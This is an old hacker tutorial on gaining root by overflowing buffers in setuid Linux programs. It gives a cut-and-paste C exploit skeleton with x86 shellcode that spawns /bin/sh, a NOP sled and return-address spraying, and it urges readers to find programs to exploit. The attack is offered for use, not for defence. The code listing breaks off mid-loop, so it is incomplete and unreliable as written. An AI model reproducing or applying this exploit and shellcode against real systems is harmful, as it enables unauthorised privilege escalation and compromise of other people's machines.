- finding and exploiting programs with buffer overflows - by prym (prym@sunflower.org) - introduction allright, the technique of gaining root via a buffer overflow has been used alot in some of the exploits that made there way out into the open. some of them are dip, splitvt, and mount. there are others and after reading this hopefully you'll be able to recognize them. now on to it. - how it works how the buffer overflow technique works is we find somewhere in the program exploiting where a undefined length of data that is user definable is copied into a defined length of data. and we basicaly make it overflow. - example char *ptr; char visual[1024]; - (user definable) sprintf(visual, "%s %s", ptr, file); - (ptr(undefinied lentgth) is copied - to visual(defined length) in that function we can cause a buffer overflow. what happens is we predefine visual(which is user definable) to something larger than 1024. the program will cehck that ptr and file together are not greater than 1024 and then attempt to execute sprintf when this happens it will be much larger that 1024 and there will be a buffer overflow. - how to do do it now earlier i said that we predefine visual to something larger than 1024. we do that but we make it larger than 1024 filled with raw machine code and a command(/bin/sh). the example i used is attempting to run whatever the visual editor is set to. usually pico but defaultly vi. we might write a program something like this: #include - normal includes #include #include #include #include #define PATH_CT "/usr/bin/program" - define the path to the program - were going to exploit u_char shell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; u_long esp() { __asm__("movl %esp, %eax"); } - machine code that will be ran as the buffer is overflown telling the - machine to execute /bin/sh main() - main function { - open u_char buf[2048]; - define what will be visual u_long addr; - used for machine code int i; - used for loops strcpy(buf, "/usr/bin/pico; "); - start what will be visual out - with pico so it looks normal addr = esp() - 192; for (i=16; i<128+16; i+=4) *((u_long *) (buf+i)) = addr; for (i=128+16; i<1040; i++) buf[i] = 0x90; for (i=0; i - what do i do now go out and find a program to exploit. look over the source and find places where you could overflow the buffer. then go back to the top of this text file and look at the code i supplied. the reason i supplied this code is because it can basicaly be cut and pasted into a working exploit. ive written a few of these exploits now and i guarantee you there are lots of programs out there you can exploit. - conclusion welp. i hope this information helps you. and have fun. => - the end - props to all the gang. (you know who you are and exspecially to z aka senorp because without him this text would not be possible =>) - by prym - email: prym@sunflower.org